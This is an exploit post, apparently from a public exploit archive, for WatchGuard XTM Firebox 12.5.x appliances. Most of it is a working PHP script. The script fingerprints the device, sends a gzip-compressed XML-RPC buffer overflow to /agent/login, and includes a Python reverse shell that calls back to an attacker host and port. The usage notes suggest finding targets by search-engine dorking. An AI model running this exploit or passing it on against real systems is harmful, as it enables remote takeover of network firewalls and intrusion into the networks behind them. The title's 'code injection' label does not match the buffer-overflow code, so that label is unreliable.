=============================================================================================================================================
| # Title     : WatchGuard XTM Firebox 12.5.x Code Injection Vulnerability                                                                  |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            |
| # Vendor    : https://www.watchguard.com/wgrd-help/documentation/xtm                                                                      |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] uses the CURL to Allow remote command .

[+] Line 86 set your target .

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php 

[+] PayLoad :


<?php
class WatchGuardExploit {
    private $targetUri;
    private $lhost;
    private $lport;
    private $shell;

    public function __construct($targetUri, $lhost, $lport, $shell = "/usr/bin/python") {
        $this->targetUri = $targetUri;
        $this->lhost = $lhost;
        $this->lport = $lport;
        $this->shell = $shell;
    }

    public function sendRequest($method, $url, $data = null, $headers = []) {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

        if ($data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }

        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }

        $response = curl_exec($ch);
        curl_close($ch);

        return $response;
    }

    public function checkWatchGuardFirebox() {
        $url = $this->targetUri . '/auth/login';
        $response = $this->sendRequest('GET', $url, null, ['from_page' => '/']);
        
        if ($response && strpos($response, 'Powered by WatchGuard Technologies') !== false 
            && strpos($response, 'Firebox') !== false) {
            return true;
        }
        return false;
    }

    public function createBofPayload() {
        // Generate the buffer overflow payload with Python reverse shell code
        $randomStr = bin2hex(random_bytes(2)); // 4-character random alphanumeric
        $pyFilename = "/tmp/" . $randomStr . ".py";
        $payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><" . str_repeat('A', 3181) . "MFA>";
        $payload .= str_repeat('<BBBBMFA>', 3680);

        // Include a Python reverse shell command as the payload
        $payload .= 'import socket;from subprocess import call; from os import dup2;';
        $payload .= 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);';
        $payload .= 's.connect(("' . $this->lhost . '",' . $this->lport . '));';
        $payload .= 'dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);';
        $payload .= 'call(["' . $this->shell . '","-i"]);';
        $payload .= 'import os; os.remove("' . $pyFilename . '");';

        return gzencode($payload); // gzip encoding
    }

    public function exploit() {
        if (!$this->checkWatchGuardFirebox()) {
            echo "Target is not vulnerable.\n";
            return;
        }

        echo "Target is vulnerable. Sending exploit...\n";
        $bofPayload = $this->createBofPayload();

        // Send the buffer overflow payload
        $url = $this->targetUri . '/agent/login';
        $this->sendRequest('POST', $url, $bofPayload, [
            'Accept-Encoding: gzip, deflate',
            'Content-Encoding: gzip'
        ]);

        echo "Payload sent.\n";
    }
}

// Example usage:
$exploit = new WatchGuardExploit('https://target-ip:8080', 'attacker-ip', 4444);
$exploit->exploit();



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================